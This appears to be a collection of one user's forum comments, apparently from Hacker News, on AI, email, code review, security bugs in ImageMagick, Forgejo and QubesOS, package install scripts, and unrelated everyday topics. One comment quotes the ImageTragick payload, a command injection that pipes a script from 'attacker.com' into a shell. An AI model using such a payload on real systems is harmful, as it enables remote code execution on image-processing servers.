msm_

Is computational ability a kind of intelligence? If so then 20 year old calculators absolutely have a computational ability which is superhuman.

I'm not sure what my (or yours) point is, but like with all of AI it's a moving target - I still remember how image recognition was deep in researchy Artificial Intelligence territory. Nowadays it's such an obvious building block, nobody thinks of image classifiers as "intelligence".

>and handing over a functional exploit

There are dozens (or hundreds) of functional exploits already. The problem with php2shell exploits is that (as of now) there's no "one exploit pwns all", and researchers need to spend nontrivial amount of time on every (potentially) exploitable target.

So I don't think I agree - it's a fun challenge for the itsec people around here, and some people will definitely try. There's no real opportunity cost here. The only problem is that (as of now) exploiting PHP requires some knowledge about the server configuration, and we don't have that here.

This is a self-fulfilling prophecy. If everyone reads "it's impossible to avoid gmail, just use gmail", then yeah, gmail prevails.

But it's plain false. YOU can decide against using gmail. I don't use gmail. I sometimes talk with people who use gmail, but more often than not, I don't. Stop being fatalistic.

>Except that reviewing has become just asking your agent what that piece of code does in english

How does this work for you?

Do you ask about specific functions ("what does this function do")? Then it sounds like more work than actually reading it.

Or do you ask about the whole PRs ("what does this PR implement")? Then how do you catch things like security vulnerabilities, bad design choices, unnecessary dependencies, wrong architecture, etc? Those are things that benefit the most from human understanding (nitpicking style was always the easy but unimportant part of code review)

>Which raises the scarier question of why they tried this at all?

Well, to quote the post:

>Ofcom has targeted 200-ish American platforms with censorship orders; only four of those sites, all of which are my clients, refused, and only one is 4chan.

I think this was just a scare tactic.

Why is that a way bigger problem? Windows will happily run unsigned binaries. Code signing just decreases the friction for users slightly, but is in no way required. TLS is definitely a way bigger problem.

I don't get what you mean. If you save a credit card number in your browser (or a password, or a cookie) it's available, by default, to any other program running as your user. So a random calculator can easily steal your credit card, passwords, cookies, ssh keys, keepass database, gpg private key, and more.

I don't think this is the crux of the matter. Programming newbies are not scared of C/C++ because of std::unique_ptr<T>. They are scared of three-star programmers, of intrusive lists, of clever packed data structures - in short, of pointer arithmetic. Java, Python and JavaScript don't allow that, so it's hard to compare them (that's why we distinguish between "pointer" and "reference", even though in practice they are exactly the same thing under the hood, of course).

I felt inspired by this, and removed all my Github projects (except a few that people may depend on, which I just archived).

>My father (...) tries to use his iPad as a PC (...) He's mostly on the iPad + keyboard because it's a nicely managed device update-wise and "what I can install"-wise, virus-wise. (...) But I recent told him: Just give up

Since he apparently wants a PC, isn't the logical conclusion the opposite? "Just give up. Buy a Windows/Linux laptop, you are too dependent on Apple, there is always something with the Apple solutions."

Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.

Famously, ImageTragick was just "fill 'url(https://example.com"; curl http://attacker.com | sh ")'"

Is it really better for day to day life? I am certain that it only appears so because you're used to it. I think for day to day life they're both roughly equivalent.

Of course, for me Celsius is more natural and intuitive, but again - that's because I'm used to it.

In home environment: no, because Windows Defender is pretty good now. Some people install other antimalware solutions, but there's no great reason to do it.

In enterprise environment: definitely, for both compliance, management and actual security reasons.

Maybe they actually do know their audience, and HN crowd is just... not that audience? I am pretty sure most people have no idea what's wrong with Norton, and the name just sounds vaguely like cybersecurity.

>So if you don't create new repos from mystery meat template repos, you should be ok.

You should be OK, but if attacker takes over your user (or any user in your forgejo instance) they can execute code on the host server - as you said yourself. In other words, it allows them to achieve remote code execution, so it's a RCE.

They could, and this is definitely a RCE (a Remote Code Execution) vulnerability. GP confusion stems from the fact, that you (the forgejo user) must execute this attack on "your" instance. But of course the problem is that forgejo user can, in fact, be malicious, and use this vulnerability to escalate their priviliges from user to server.

It can't be done without authenticating first, but there's nothing about RCE that says that it must be sent from unauthenticated connection.

You overthink this. Participating in HN is in no way like democratic voting. And sometimes it is my (or yours) comment that is the problem.

Let's not pretend that 90% of HN comments are world-changing. Maybe you are different, but a lot of my would-be comments are knee-jerk reactions that won't actually bring anything substantial to the discussion. Often in political comment chains. Yes, I feel I'm right, but it's still probably not worth posting. I really think that sometimes stopping before posting is better for everyone involved.

I also have well thought comments, where I share my thoughts on things I'm an expert in. I do post them. But a lot of the comments is not really that valuable.

>comments I spent literal hours on[2]

It may make you feel better that I saw both of your posts before (I may spend too much time on HN). They are good, though a bit verbose - maybe this intimidates people. But in this case I agree with GP - if I was spending literal hours responding to comments here I should definitely stop myself.

That was not the issue pointed by GP. They noted that the comparison was between two companies, a whole industry.

>That’s a weird comparaison between one or two brand and "an industry".

In other words, Impossible and Beyond are not the only companies in meat replacement space. They are probably the largest, but comparing them to the whole industry makes no sense.

What is a burger? If it looks like a burger and tastes like a burger I'm fine with calling it a burger. Nobody complains about halloumi burgers. Why is "coconut milk" OK, but "soy milk" is not? Blood sausage has nothing similar with the regular sausage. Hey, there are people who put pineapple on dough and call it "pizza"[1]. I agree that industries should not be able to intentionally mislead people, but informing customers was not the primary motivation behind those laws - protecting existing monopolies was.

[1] Relax, I'm joking.

It may be perfectly clear to you. For me (a non-native speaker) reading the first verse required a significant focus and I still didn't get what the author meant (only the general vibes).

The second verse was immediately clear.

IRGC, Hamas, Hizballah and maybe others are far right organizations, so I don't think this is purely left/right.

And what about signal? I am pretty sure many violent/terrorist groups use it too.

I don't have an opinion about this group, because I didn't even know it existed. But, like often with things related to the free speech, I think this topic is more complex than you make it out to be.

>But eventually you'll need to put down a credit card on file to buy a domain, and that domain needs to be owned by somebody.

You don't need to pay to host onion websites (.onion domains are free and have no central registry). Though that of course really limits the possible outreach, because most people are not used to browsing onionsites.

>Yeah, and by the time you get to many of those games they will feel clunky and outdated.

I don't agree with what you wrote literally (I almost exclusively play old and old-ish games, and I have fun), but:

>Path of Exile is a 2013 free-to-play action role-playing video game developed and published by Grinding Gear Games

I'm confused. Why is your example of a modern game is a game from 2013? Most people's backlog is probably shorter than 13 years, so if 13 year old games are fine then I'm not sure that contradicts OPs point.

Wow, this is serious. Makes you think, that even though QubesOS attack surface is so tiny (well-designed to be secure) there are still vulnerabilities to be found.

Worth noting that (as I understand) this vulnerability occurs only when doing copy-to-VM from Dom0:

>Note that the VM variant of `qvm-copy-to-vm` is not affected, as its version of the error reporting function does not use `system()`:

Since you should not use Dom0 for regular work, and definitely not for interacting with likely-to-be-infected VMs, the scope of this attack is smaller than it sounds. On the flip side, when it works, it elevates privileges straight to Dom0.

>Nobody likes self-checkout lines, but they’re “automated.”

I strongly prefer self-checkout. If self-checkout is available, I will use it. Most people I know have the same preference (to varying degrees, I am a bit extreme in that I will wait for self-checkout even if normal checkout is open and there is no queue).

This is moving the goalposts. The original problem was that installing a library should not execute code from that library.

In most sane environments, like for example native languages, this is already the case. Downloading a .dll file and putting it in an appropriate directory won't, by itself, execute code in that library.

You may argue that the code will get executed at some point anyway, but that's besides the point. Sandboxing the build environment is a different problem than sandboxing the test/staging/production environment.

I think we both agree that "adding random obstacles that don't actually protect anything" is not a valid approach to security, but my mental model of the build step is "transformation of input data into output data", and while this step may produce a malicious output from malicious inputs, it should not do anything malicious itself. For example, "gcc source.c" should not execute arbitrary code by itself.

>The idea is to have multiple strong layers, not a hundred half-measures that are all easily bypassed

Definitely. On the other hand, in my opinion, "not running arbitrary code during package install" is not a "half-measure", it's a basic sanity. This whole arbitrary code execution at install time is a convenience feature that was adapted by some package managers, but it was never a good idea.

Fortunately, nixos solves that for me in most cases.

Literally the main point of this blog post:

>The project’s binary distributions didn’t include the required MIT license notice for the llama.cpp code they were shipping. This isn’t a matter of open-source etiquette, the MIT license has exactly one major requirement: include the copyright notice. Ollama didn’t.

It sounds like the only way this would make sense is if such model knew the range of sounds it expects to "hear". There's a lot of possible sounds that IPA knows about, but world languages only use a fraction of them at once. Think English dark and light "l" (ball/light) or aspirated "p" (pin/spin) - some languages contrast them, while in english the difference is not meaningful.

Or maybe linguists are actually interested in having maximally faithful IPA representation and manually normalizing it? You are clearly way more knowledgeable about that topic than I, so I'm curious what you think.

GP said:

>you shed a layer of security by deciding to make your address public, non of which would benefit the whole point

It's possible to host something with no intention of making it internet-public. I also have services like that, that I only use myself or with friends. GP argument is that they don't want to share the onion link to their website, because (bluntly) we are not invited. Onion domains are actually relatively private (i mean unguessable - unlike clearnet domains), so it's possible to host private websites without any additional authorization.

Having said that, onion links carry a implicit baggage, so while I think they're great for sharing things with (technical) friends or a private VPN, they're probably not the best way to host services intended for public.